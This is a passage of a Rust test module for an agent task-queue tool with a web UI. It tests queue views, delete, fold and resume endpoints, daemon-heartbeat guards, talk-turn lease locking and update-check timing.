15933 assert_eq!(view["block_reason"], "waiting on Task 1");
15934 assert_eq!(view["answers"][0]["question"], "Which backend?");
15935 assert_eq!(view["answers"][0]["answer"], "SQLite");
15936
15937 let res = fx
15941 .post(&format!("/api/queue/{}/hold", t.short()), None)
15942 .await;
15943 assert_eq!(res.status, 200);
15944 let held = res.json();
15945 assert_eq!(held["status_str"], "held");
15946 assert_eq!(held["blocked_by"], serde_json::json!([]));
15947 assert!(held["block_reason"].is_null());
15948 assert_eq!(held["answers"][0]["answer"], "SQLite");
15949 }
15950
15951 #[tokio::test]
15952 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15953 let fx = Fixture::start().await;
15954 let q = fx.queue();
15955 let mk = |title: &str| {
15956 Task::new(
15957 title.to_owned(),
15958 "Instruction".to_owned(),
15959 PathBuf::from("/repo"),
15960 Source::Human,
15961 )
15962 };
15963 let mut root = mk("root");
15964 root.hold_manual(Some("waiting".to_owned()));
15965 q.put(&mut root).unwrap();
15966 let mut mid = mk("mid");
15967 mid.block(vec![root.id.clone()], None);
15968 q.put(&mut mid).unwrap();
15969 let mut leaf = mk("leaf");
15970 leaf.block(vec![mid.id.clone()], None);
15971 q.put(&mut leaf).unwrap();
15972
15973 let list = fx.get("/api/queue").await.json();
15974 let find = |id: &str| {
15975 list.as_array()
15976 .unwrap()
15977 .iter()
15978 .find(|v| v["id"] == id)
15979 .unwrap()
15980 .clone()
15981 };
15982 let leaf_view = find(&leaf.id);
15983 assert_eq!(
15984 leaf_view["waits_on"],
15985 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15986 );
15987 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15988 assert_eq!(
15989 find(&mid.id)["waits_on"],
15990 serde_json::json!([format!("{} (held)", root.short())])
15991 );
15992 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15993 }
15994
15995 #[tokio::test]
15996 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15997 let fx = Fixture::start().await;
15998 let q = fx.queue();
15999
16000 let mut t1 = Task::new(
16002 "Task 1".to_owned(),
16003 "Instruction 1".to_owned(),
16004 PathBuf::from("/repo"),
16005 Source::Human,
16006 );
16007 let run_id = "20260901-000000-r111";
16008 t1.runs.push(run_id.to_owned());
16009 write_run(&fx.runs(), run_id, RunStatus::Merged);
16010 q.put(&mut t1).expect("put t1");
16011
16012 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
16014 assert_eq!(res.status, 204);
16015 assert!(res.body.is_empty(), "204 No Content has no body");
16016 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
16017 assert!(
16018 fx.runs().join(run_id).exists(),
16019 "run directory must not be deleted when its task is deleted"
16020 );
16021
16022 let mut t2 = Task::new(
16024 "Task 2".to_owned(),
16025 "Instruction 2".to_owned(),
16026 PathBuf::from("/repo"),
16027 Source::Human,
16028 );
16029 t2.status = TaskStatus::Running;
16030 q.put(&mut t2).expect("put t2");
16031 let mut beat = crate::daemon::Status::new();
16032 beat.current = vec![crate::daemon::Current {
16033 task: t2.id.clone(),
16034 run: "20260901-000000-r222".to_owned(),
16035 }];
16036 beat.updated_at = jiff::Timestamp::now();
16037 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16038 .expect("publish a heartbeat");
16039 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
16040 assert_eq!(res.status, 409);
16041 assert!(
16042 res.json()["error"]
16043 .as_str()
16044 .unwrap()
16045 .contains("live daemon")
16046 );
16047 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
16048
16049 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
16055 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16056 .expect("leave a stale heartbeat");
16057 let mut t3 = Task::new(
16058 "Task 3".to_owned(),
16059 "Instruction 3".to_owned(),
16060 PathBuf::from("/repo"),
16061 Source::Human,
16062 );
16063 t3.status = TaskStatus::Running;
16064 q.put(&mut t3).expect("put t3");
16065 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
16066 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
16067 assert_eq!(res.status, 204);
16068 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
16069 assert!(
16070 q.claim(&t3.id).is_ok(),
16071 "the stale lock went with it, so the id is claimable again"
16072 );
16073
16074 let res = fx.delete("/api/queue/nonexistent").await;
16076 assert_eq!(res.status, 404);
16077 }
16078
16079 #[tokio::test]
16080 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16081 let fx = Fixture::start().await;
16082 let runs = fx.runs();
16083
16084 let run_id = "20260901-000000-fold";
16086 let mut state = RunState::new(
16087 PathBuf::from("/repo"),
16088 "main".to_owned(),
16089 "abc".to_owned(),
16090 "instruction".to_owned(),
16091 Config::default(),
16092 );
16093 state.id = run_id.to_owned();
16094 state.status = RunStatus::Merged;
16095 state.candidates.push(crate::run::Candidate {
16096 index: 0,
16097 label: 'A',
16098 agent: "a".to_owned(),
16099 branch: "b".to_owned(),
16100 worktree: PathBuf::from("/w"),
16101 summary: String::new(),
16102 stat: String::new(),
16103 files: 1,
16104 commits: 1,
16105 empty: false,
16106 failed: None,
16107 verified_noop: None,
16108 duration_ms: 0,
16109 folded: true,
16110 });
16111 let dir = runs.join(run_id);
16112 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16113 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16114 .expect("write artifact");
16115 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16116 .expect("write run.json");
16117
16118 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16120 assert_eq!(res.status, 204);
16121 assert!(res.body.is_empty(), "204 has no body");
16122 assert!(!dir.exists(), "run directory and artifacts must be deleted");
16123
16124 let run_running = "20260901-000000-rung";
16129 write_run(&runs, run_running, RunStatus::Prep);
16130 let mut beat = crate::daemon::Status::new();
16131 beat.current = vec![crate::daemon::Current {
16132 task: "20260901-000000-task".to_owned(),
16133 run: run_running.to_owned(),
16134 }];
16135 beat.updated_at = jiff::Timestamp::now();
16136 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16137 .expect("publish a heartbeat");
16138 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16139 assert_eq!(res.status, 409);
16140 assert!(
16141 res.json()["error"]
16142 .as_str()
16143 .unwrap()
16144 .contains("live daemon"),
16145 "the refusal must say who is holding it"
16146 );
16147 assert!(
16148 runs.join(run_running).exists(),
16149 "a run in flight keeps its directory"
16150 );
16151
16152 let run_unfolded = "20260901-000000-unfd";
16154 let mut state2 = RunState::new(
16155 PathBuf::from("/repo"),
16156 "main".to_owned(),
16157 "abc".to_owned(),
16158 "instruction".to_owned(),
16159 Config::default(),
16160 );
16161 state2.id = run_unfolded.to_owned();
16162 state2.status = RunStatus::Ready;
16163 state2.candidates.push(crate::run::Candidate {
16164 index: 0,
16165 label: 'A',
16166 agent: "a".to_owned(),
16167 branch: "b".to_owned(),
16168 worktree: PathBuf::from("/w"),
16169 summary: String::new(),
16170 stat: String::new(),
16171 files: 1,
16172 commits: 1,
16173 empty: false,
16174 failed: None,
16175 verified_noop: None,
16176 duration_ms: 0,
16177 folded: false,
16178 });
16179 let dir2 = runs.join(run_unfolded);
16180 std::fs::create_dir_all(&dir2).expect("create dir2");
16181 std::fs::write(
16182 dir2.join("run.json"),
16183 serde_json::to_string(&state2).unwrap(),
16184 )
16185 .expect("write run.json");
16186
16187 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16188 assert_eq!(res.status, 409);
16189 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16190 assert!(dir2.exists(), "unfolded run directory is kept");
16191
16192 let res = fx.delete("/api/runs/nonexistent").await;
16194 assert_eq!(res.status, 404);
16195 }
16196
16197 #[test]
16206 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16207 let start = APP_JS
16208 .find("function renderStats() {")
16209 .expect("renderStats");
16210 let end = start
16211 + APP_JS[start..]
16212 .find("function statsTile(")
16213 .expect("the next top-level function");
16214 let body = &APP_JS[start..end];
16215
16216 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16217 let gate_end = gate_start
16218 + body[gate_start..]
16219 .find("}\n renderStatsQueue")
16220 .expect("the gate's own closing brace, right before the unconditional call");
16221 let gated = &body[gate_start..gate_end];
16222
16223 assert_eq!(
16224 body.matches("renderStatsQueue(").count(),
16225 1,
16226 "renderStats must call renderStatsQueue exactly once: {body}"
16227 );
16228 assert!(
16229 !gated.contains("renderStatsQueue"),
16230 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16231 run-derived panels on an empty run history - the queue panel has to render \
16232 regardless: {gated}"
16233 );
16234 }
16235
16236 #[test]
16237 fn web_ui_delete_contract_in_front_end() {
16238 assert!(APP_JS.contains("deleteRun:"));
16240 assert!(APP_JS.contains("deleteTask:"));
16241
16242 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16244 ..APP_JS.find("function renderRuns").unwrap()];
16245 assert!(!run_cards_slice.to_lowercase().contains("delete"));
16246
16247 assert!(APP_JS.contains("renderRunDelete"));
16249 assert!(APP_JS.contains("runDeleteReason"));
16250 assert!(APP_JS.contains("magi fold"));
16251 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16252
16253 assert!(APP_JS.contains("cancel.focus"));
16255 assert!(APP_JS.contains("armedRunDelete"));
16256 assert!(APP_JS.contains("renderTaskDeleteBox"));
16257 assert!(APP_JS.contains("armed${cap(key)}"));
16258
16259 assert!(APP_JS.contains("disabled: status === \"running\""));
16261 }
16262
16263 #[test]
16283 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16284 let build = APP_JS
16285 .find("function createRunCard")
16286 .expect("createRunCard exists");
16287 let update = APP_JS
16288 .find("function updateRunCard")
16289 .expect("updateRunCard exists");
16290 let end = APP_JS
16291 .find("function renderRuns")
16292 .expect("renderRuns exists");
16293
16294 let builder = &APP_JS[build..update];
16296 let open = builder.find("refs = {").expect("createRunCard sets refs");
16297 let literal = &builder[open + "refs = {".len()..];
16298 let close = literal.find('}').expect("the refs literal is closed");
16299 let published: HashSet<&str> = literal[..close]
16300 .split(',')
16301 .filter_map(|entry| entry.split(':').next())
16303 .map(str::trim)
16304 .filter(|name| !name.is_empty())
16305 .collect();
16306 assert!(
16307 published.len() > 5,
16308 "the refs literal did not parse into names: {published:?}"
16309 );
16310
16311 let mut used: Vec<&str> = Vec::new();
16314 let updaters = &APP_JS[update..end];
16315 for (at, _) in updaters.match_indices("r.") {
16316 let before = updaters[..at].chars().next_back();
16319 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16320 continue;
16321 }
16322 let rest = &updaters[at + 2..];
16323 let len = rest
16324 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16325 .unwrap_or(rest.len());
16326 if len > 0 {
16327 used.push(&rest[..len]);
16328 }
16329 }
16330 assert!(
16331 used.len() > 5,
16332 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16333 );
16334
16335 let missing: Vec<&str> = used
16336 .iter()
16337 .copied()
16338 .filter(|name| !published.contains(name))
16339 .collect();
16340 assert!(
16341 missing.is_empty(),
16342 "a run card's updater reaches for {missing:?}, which `createRunCard` \
16343 never put in `refs` - every card will throw and the list will \
16344 render empty under a count line that says otherwise. Published: \
16345 {published:?}"
16346 );
16347 }
16348
16349 #[tokio::test]
16350 async fn folding_from_the_phone_reports_what_it_removed() {
16351 let fx = Fixture::start().await;
16352 let runs = fx.runs();
16353
16354 let id = "20260901-000000-fold";
16358 write_run(&runs, id, RunStatus::Stalled);
16359 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16360 assert_eq!(res.status, 200);
16361 assert_eq!(res.json()["removed_count"], 0);
16362 assert_eq!(res.json()["run"], id);
16363 assert!(
16364 runs.join(id).exists(),
16365 "a fold keeps the run's record; only the worktrees go"
16366 );
16367 }
16368
16369 #[tokio::test]
16370 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16371 let fx = Fixture::start().await;
16372 let runs = fx.runs();
16373 let wt = fx.home.path().join("wt").join("magi").join("dead");
16374 let id = "20260901-000000-dead";
16375 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16376 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16377 std::fs::create_dir_all(&wt).expect("worktree dir");
16378
16379 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16380 assert_eq!(res.status, 200, "{}", res.body);
16381 assert!(
16382 res.json()["removed_count"].as_u64().unwrap() > 0,
16383 "the worktree this build could not read a state for still went"
16384 );
16385 assert!(
16386 !runs.join(id).exists(),
16387 "an unreadable run has no candidate list to fold selectively, so \
16388 the whole record goes - same as `magi fold` on the CLI"
16389 );
16390 }
16391
16392 #[tokio::test]
16393 async fn deleting_an_unreadable_run_removes_it_wholesale() {
16394 let fx = Fixture::start().await;
16395 let runs = fx.runs();
16396 let wt = fx.home.path().join("wt").join("magi").join("gone");
16397 let id = "20260901-000000-gone";
16398 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16399 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16400 std::fs::create_dir_all(&wt).expect("worktree dir");
16401
16402 let res = fx.delete(&format!("/api/runs/{id}")).await;
16403 assert_eq!(res.status, 204, "{}", res.body);
16404 assert!(!runs.join(id).exists(), "the broken record is gone");
16405 assert!(!wt.exists(), "its worktree is gone too");
16406 }
16407
16408 #[tokio::test]
16409 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16410 let fx = Fixture::start().await;
16411 let runs = fx.runs();
16412 let id = "20260901-000000-live";
16413 write_run(&runs, id, RunStatus::Implementing);
16414
16415 let mut beat = crate::daemon::Status::new();
16416 beat.current = vec![crate::daemon::Current {
16417 task: "20260901-000000-task".to_owned(),
16418 run: id.to_owned(),
16419 }];
16420 beat.updated_at = jiff::Timestamp::now();
16421 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16422 .expect("publish a heartbeat");
16423
16424 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16425 assert_eq!(res.status, 409);
16426 assert!(
16427 res.json()["error"]
16428 .as_str()
16429 .unwrap()
16430 .contains("live daemon"),
16431 "folding under a running agent would pull its worktree away"
16432 );
16433 }
16434
16435 #[tokio::test]
16436 async fn fold_merged_requires_a_pr_url() {
16437 let fx = Fixture::start().await;
16438 let runs = fx.runs();
16439 let id = "20260901-000000-nourl";
16440 write_run(&runs, id, RunStatus::Blocked);
16441
16442 let res = fx
16443 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16444 .await;
16445 assert_eq!(res.status, 400, "{}", res.body);
16446
16447 let blank = fx
16448 .post(
16449 &format!("/api/runs/{id}/fold-merged"),
16450 Some(r#"{"pr_url":" "}"#),
16451 )
16452 .await;
16453 assert_eq!(blank.status, 400, "{}", blank.body);
16454 }
16455
16456 #[tokio::test]
16457 async fn fold_merged_is_404_for_an_unknown_run() {
16458 let fx = Fixture::start().await;
16459 let res = fx
16460 .post(
16461 "/api/runs/nosuchrun/fold-merged",
16462 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16463 )
16464 .await;
16465 assert_eq!(res.status, 404, "{}", res.body);
16466 }
16467
16468 #[tokio::test]
16469 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
16470 let fx = Fixture::start().await;
16471 let runs = fx.runs();
16472 let id = "20260901-000000-livemerge";
16473 write_run(&runs, id, RunStatus::Blocked);
16474
16475 let mut beat = crate::daemon::Status::new();
16476 beat.current = vec![crate::daemon::Current {
16477 task: "20260901-000000-task".to_owned(),
16478 run: id.to_owned(),
16479 }];
16480 beat.updated_at = jiff::Timestamp::now();
16481 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16482 .expect("publish a heartbeat");
16483
16484 let res = fx
16485 .post(
16486 &format!("/api/runs/{id}/fold-merged"),
16487 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16488 )
16489 .await;
16490 assert_eq!(res.status, 409, "{}", res.body);
16491 assert!(
16492 res.json()["error"]
16493 .as_str()
16494 .unwrap()
16495 .contains("live daemon"),
16496 "correcting a run's merge underneath a running agent would race \
16497 whatever it is doing to the same `status`/`merge` fields"
16498 );
16499 }
16500
16501 #[tokio::test]
16506 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
16507 let fx = Fixture::start().await;
16508 let runs = fx.runs();
16509 let id = "20260901-000000-unconfirmed";
16510 write_run(&runs, id, RunStatus::Blocked);
16511
16512 let res = fx
16513 .post(
16514 &format!("/api/runs/{id}/fold-merged"),
16515 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16516 )
16517 .await;
16518 assert_eq!(res.status, 400, "{}", res.body);
16519 assert_eq!(
16520 read_run(&runs, id).unwrap().status,
16521 RunStatus::Blocked,
16522 "a pull request that could not be confirmed merged must leave \
16523 the run exactly where it was"
16524 );
16525 }
16526
16527 #[tokio::test]
16528 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
16529 let fx = Fixture::start().await;
16530 let runs = fx.runs();
16531
16532 for (status, word) in [
16538 (RunStatus::Merged, "merged"),
16539 (RunStatus::Ready, "ready"),
16540 (RunStatus::Failed, "failed"),
16541 ] {
16542 let id = format!("20260901-000000-{}", &word[..4]);
16543 write_run(&runs, &id, status);
16544 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
16545 assert_eq!(res.status, 409, "{word} must not be resumable");
16546 let err = res.json()["error"].as_str().unwrap().to_owned();
16547 assert!(err.contains(word), "the refusal names the status: {err}");
16548 }
16549
16550 let mid = "20260901-000000-midf";
16555 write_run(&runs, mid, RunStatus::Reviewing);
16556 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
16557 assert_eq!(res.status, 202, "an interrupted run is resumable");
16558 }
16559
16560 #[tokio::test]
16561 async fn resume_is_refused_while_the_loop_is_running() {
16562 let fx = Fixture::start().await;
16563 let runs = fx.runs();
16564 let stalled = "20260901-000000-stal";
16565 write_run(&runs, stalled, RunStatus::Stalled);
16566
16567 let mut beat = crate::daemon::Status::new();
16571 beat.current = vec![crate::daemon::Current {
16572 task: "20260901-000000-task".to_owned(),
16573 run: "20260901-000000-othr".to_owned(),
16574 }];
16575 beat.updated_at = jiff::Timestamp::now();
16576 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16577 .expect("publish a heartbeat");
16578
16579 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
16580 assert_eq!(res.status, 409);
16581 let err = res.json()["error"].as_str().unwrap().to_owned();
16582 assert!(err.contains("othr"), "it names what the loop is on: {err}");
16583 assert!(err.contains("stop it first"), "{err}");
16584 }
16585
16586 #[test]
16587 fn a_run_cannot_be_resumed_twice_at_once() {
16588 let home = TempDir::new().expect("temp home");
16589 let ui = Ui::new(
16590 Queue::at(home.path().join("queue")),
16591 Questions::at(home.path().join("questions")),
16592 Talks::at(home.path().join("talks")),
16593 home.path().join("runs"),
16594 home.path().to_path_buf(),
16595 PathBuf::from("/repo"),
16596 )
16597 .with_worktrees_root(home.path().join("wt"));
16598 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
16599 let again = ui.begin_resume("20260901-000000-once");
16600 assert!(again.is_err(), "a second tap must not start a second graph");
16601 drop(first);
16602 assert!(
16603 ui.begin_resume("20260901-000000-once").is_ok(),
16604 "and the claim is released when the attempt ends"
16605 );
16606 }
16607
16608 #[test]
16609 fn talk_thinking_tracks_only_its_held_turn_claim() {
16610 let home = TempDir::new().expect("temp home");
16611 let ui = Ui::new(
16612 Queue::at(home.path().join("queue")),
16613 Questions::at(home.path().join("questions")),
16614 Talks::at(home.path().join("talks")),
16615 home.path().join("runs"),
16616 home.path().to_path_buf(),
16617 PathBuf::from("/repo"),
16618 )
16619 .with_worktrees_root(home.path().join("wt"));
16620 let id = "20260901-000000-once";
16621
16622 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
16623 let turn = ui.begin_talk_turn(id).expect("claim turn");
16624 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
16625 assert!(
16626 !ui.is_thinking("20260901-000000-other"),
16627 "one talk's turn does not make another talk busy"
16628 );
16629 drop(turn);
16630 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
16631 }
16632
16633 #[test]
16634 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
16635 let home = TempDir::new().expect("temp home");
16636 let talks = Talks::at(home.path().join("talks"));
16637 let ui = Ui::new(
16638 Queue::at(home.path().join("queue")),
16639 Questions::at(home.path().join("questions")),
16640 talks.clone(),
16641 home.path().join("runs"),
16642 home.path().to_path_buf(),
16643 PathBuf::from("/repo"),
16644 )
16645 .with_worktrees_root(home.path().join("wt"));
16646 let id = "20260901-000000-cross";
16647
16648 let other = Talks::at(home.path().join("talks"))
16649 .claim_turn(id)
16650 .expect("claim")
16651 .expect("the other process wins");
16652 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
16653 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
16654 assert!(
16655 matches!(
16656 ui.begin_talk_turn_unless_pending(id).expect("start"),
16657 TalkTurnStart::Foreign
16658 ),
16659 "a foreign holder is refused, not queued behind"
16660 );
16661 assert!(
16662 !ui.talk_turns.lock().unwrap().live.contains(id),
16663 "a refused claim leaves no in-process entry behind"
16664 );
16665 drop(other);
16666 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
16667 assert!(talks.turn_held(id), "the web turn holds the lease");
16668 drop(turn);
16669 assert!(
16670 !talks.turn_held(id),
16671 "dropping the guard releases the lease"
16672 );
16673 }
16674
16675 fn consult_question(ui: &Ui) -> Question {
16676 let mut q = Question::new(
16677 "20260901-000000-consult".to_owned(),
16678 "implement".to_owned(),
16679 "impl-A".to_owned(),
16680 "Which backend?".to_owned(),
16681 String::new(),
16682 vec!["SQLite".to_owned(), "Redis".to_owned()],
16683 );
16684 ui.questions.put(&mut q).expect("question");
16685 q
16686 }
16687
16688 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
16689 (
16690 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
16691 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
16692 )
16693 }
16694
16695 #[tokio::test]
16696 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
16697 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16698 let q = consult_question(&ui);
16699 let talk = ui.talks.get(&id).expect("talk");
16700 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
16701 let before = consult_snapshot(&ui, &q, &id);
16702 let cli_talks = Talks::at(ui.home.join("talks"));
16703 assert_eq!(
16704 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
16705 .await
16706 .expect("CLI starter"),
16707 crate::consult::Started::Busy
16708 );
16709 assert_eq!(consult_snapshot(&ui, &q, &id), before);
16710 assert!(ui.is_thinking(&id));
16711 drop(guard);
16712 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
16713 }
16714
16715 #[tokio::test]
16716 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
16717 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16718 let q = consult_question(&ui);
16719 let talk = ui.talks.get(&id).expect("talk");
16720 let started = tmp.path().join("started");
16721 let release = tmp.path().join("release");
16722 let script = tmp.path().join("consult-agent.sh");
16723 std::fs::write(
16724 &script,
16725 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
16726 )
16727 .expect("script");
16728 let mut cfg = stub_config();
16729 cfg.agents[0].id = "mock".to_owned();
16730 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
16731 cfg.agents[0].env = std::collections::BTreeMap::from([
16732 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
16733 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
16734 ]);
16735 let questions = ui.questions.clone();
16736 let cli_talks = Talks::at(ui.home.join("talks"));
16737 let cli_q = q.clone();
16738 let turn = tokio::spawn(async move {
16739 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
16740 });
16741 let ready = tokio::time::timeout(Duration::from_secs(30), async {
16742 while !started.exists() {
16743 tokio::time::sleep(Duration::from_millis(10)).await;
16744 }
16745 })
16746 .await;
16747 let refusal = if ready.is_ok() {
16750 let before = consult_snapshot(&ui, &q, &id);
16751 let result = talk_say(
16752 State(Arc::clone(&ui)),
16753 Path(id.clone()),
16754 Ok(Json(NewTalkTurn {
16755 reply_to: None,
16756 text: "another message".to_owned(),
16757 attachments: Vec::new(),
16758 })),
16759 )
16760 .await;
16761 Some((result, before, consult_snapshot(&ui, &q, &id)))
16762 } else {
16763 None
16764 };
16765 std::fs::write(&release, "").expect("release agent");
16766 let done = turn.await.expect("join CLI turn");
16767 ready.expect("agent started before deadline");
16768 let (result, before, after) = refusal.expect("web request");
16769 let error = result.expect_err("web must refuse the CLI's turn");
16770 assert_eq!(error.status, StatusCode::CONFLICT);
16771 assert!(error.message.contains("a turn is already running"));
16772 assert_eq!(
16773 after, before,
16774 "refusal preserves question, draft and history"
16775 );
16776 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
16777 let guard = ui
16778 .begin_talk_turn(&id)
16779 .expect("web claim")
16780 .expect("free again");
16781 drop(guard);
16782 }
16783
16784 #[test]
16785 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
16786 let home = TempDir::new().expect("temp home");
16787 let talks = Talks::at(home.path().join("talks"));
16788 let ui = Ui::new(
16789 Queue::at(home.path().join("queue")),
16790 Questions::at(home.path().join("questions")),
16791 talks.clone(),
16792 home.path().join("runs"),
16793 home.path().to_path_buf(),
16794 PathBuf::from("/repo"),
16795 )
16796 .with_worktrees_root(home.path().join("wt"));
16797 let id = "20260901-000000-order";
16798 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16799 let slots = ui.talk_turns.lock().unwrap();
16801 let dropper = std::thread::spawn(move || drop(turn));
16802 let start = std::time::Instant::now();
16803 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
16804 std::thread::sleep(Duration::from_millis(5));
16805 }
16806 assert!(!talks.turn_held(id), "the lease is released first");
16807 assert!(slots.live.contains(id), "the slot is still held meanwhile");
16808 drop(slots);
16809 dropper.join().expect("join");
16810 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
16811 }
16812
16813 #[tokio::test]
16814 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16815 let fx = Fixture::start().await;
16816 let mut beat = crate::daemon::Status::new();
16820 beat.pid = 4321;
16821 beat.updated_at = jiff::Timestamp::now();
16822 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16823 .expect("publish a heartbeat");
16824
16825 let res = fx.post("/api/upgrade", None).await;
16826 assert_eq!(res.status, 409);
16827 let err = res.json()["error"].as_str().unwrap().to_owned();
16828 assert!(err.contains("4321"), "the refusal names the owner: {err}");
16829 assert!(err.contains("old one against the same queue"), "{err}");
16830 }
16831
16832 #[test]
16839 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16840 assert!(!should_spawn_recheck(&crate::config::Update {
16841 mode: UpdateMode::Off,
16842 interval: None,
16843 }));
16844
16845 unsafe {
16848 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16849 }
16850 let killed = should_spawn_recheck(&crate::config::Update {
16851 mode: UpdateMode::Notify,
16852 interval: None,
16853 });
16854 unsafe {
16855 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16856 }
16857 assert!(
16858 !killed,
16859 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16860 one-time startup check"
16861 );
16862
16863 assert!(should_spawn_recheck(&crate::config::Update {
16864 mode: UpdateMode::Notify,
16865 interval: None,
16866 }));
16867 }
16868
16869 #[test]
16875 fn recheck_poll_period_tracks_a_short_configured_interval() {
16876 let short = crate::config::Update {
16877 mode: UpdateMode::Notify,
16878 interval: Some("1m".to_owned()),
16879 };
16880 let period = recheck_poll_period(&short);
16881 assert!(
16882 period <= Duration::from_secs(30),
16883 "a one-minute interval must wake the task far sooner than the \
16884 default ceiling, or the deck would not notice within the \
16885 interval the operator configured: got {period:?}"
16886 );
16887
16888 let default = crate::config::Update {
16889 mode: UpdateMode::Notify,
16890 interval: None,
16891 };
16892 assert_eq!(
16893 recheck_poll_period(&default),
16894 UPDATE_RECHECK_POLL_MAX,
16895 "the default day-long interval should poll at the (capped) \
16896 ceiling rather than needlessly often"
16897 );
16898 }
16899
16900 #[test]
16908 fn recheck_skips_the_network_before_the_interval_elapses() {
16909 let dir = TempDir::new().expect("temp dir");
16910 let path = dir.path().join("state.json");
16911 let state = kaishin::UpdateCheckState {
16912 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16913 last_known_latest: None,
16914 last_known_url: None,
16915 };
16916 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16917
16918 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16919 assert!(
16920 !update_recheck_due(&checker, None),
16921 "a check made moments ago must not be repeated before the \
16922 configured interval elapses"
16923 );
16924 }
16925
16926 #[test]
